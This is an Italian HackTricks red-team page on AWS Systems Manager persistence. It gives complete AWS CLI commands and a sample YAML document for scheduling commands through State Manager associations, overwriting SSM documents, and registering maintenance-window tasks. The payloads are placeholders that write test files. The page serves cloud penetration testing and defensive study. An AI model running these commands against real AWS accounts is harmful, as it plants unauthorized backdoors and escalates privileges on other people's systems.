AWS - SSM Perssitence

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks

SSM

Per ulteriori informazioni consulta:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Using ssm:CreateAssociation for persistence

Un attacker con il permission ssm:CreateAssociation può creare una State Manager Association per eseguire automaticamente commands su EC2 instances gestite da SSM. Queste associations possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte a una persistence in stile backdoor senza interactive sessions.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Questo metodo di persistence funziona finché l’istanza EC2 è gestita da Systems Manager, l’SSM agent è in esecuzione e l’attaccante ha il permesso di creare associations. Non richiede sessioni interattive né permessi espliciti ssm:SendCommand. Importante: il parametro --schedule-expression (ad es. rate(30 minutes)) deve rispettare l’intervallo minimo di 30 minuti di AWS. Per un’esecuzione immediata o una tantum, ometti completamente --schedule-expression — l’association verrà eseguita una volta dopo la creazione.

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

Un attaccante con i permessi ssm:UpdateDocument e ssm:UpdateDocumentDefaultVersion può elevare i privilegi modificando documenti esistenti. Questo consente anche la persistence all’interno di quel documento. In pratica l’attaccante avrebbe anche bisogno di ssm:ListDocuments per ottenere i nomi dei custom document e, se l’attaccante vuole offuscare il proprio payload all’interno di un documento esistente, sarebbe necessario anche ssm:GetDocument.

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

Di seguito è riportato un documento di esempio che può essere usato per sovrascrivere un documento esistente. Dovrai assicurarti che il tipo del tuo documento corrisponda al tipo del documento di destinazione per evitare problemi con l’invocazione. Il documento seguente, per esempio, funzionerà con gli esempi ssm:SendCommand e ssm:CreateAssociation.

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

Un attacker con i permessi ssm:RegisterTaskWithMaintenanceWindow e ssm:RegisterTargetWithMaintenanceWindow può elevare i privilegi registrando prima un nuovo target con una maintenance window esistente e poi aggiornando registrando un nuovo task. Questo consente l’esecuzione sugli target esistenti, ma può permettere a un attacker di compromettere compute con ruoli diversi registrando nuovi target. Questo consente anche la persistence, poiché i task delle maintenance windows vengono eseguiti a un intervallo predefinito durante la creazione della window. In pratica, l’attacker avrebbe anche bisogno di ssm:DescribeMaintenanceWindows per ottenere gli ID delle maintenance window.

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks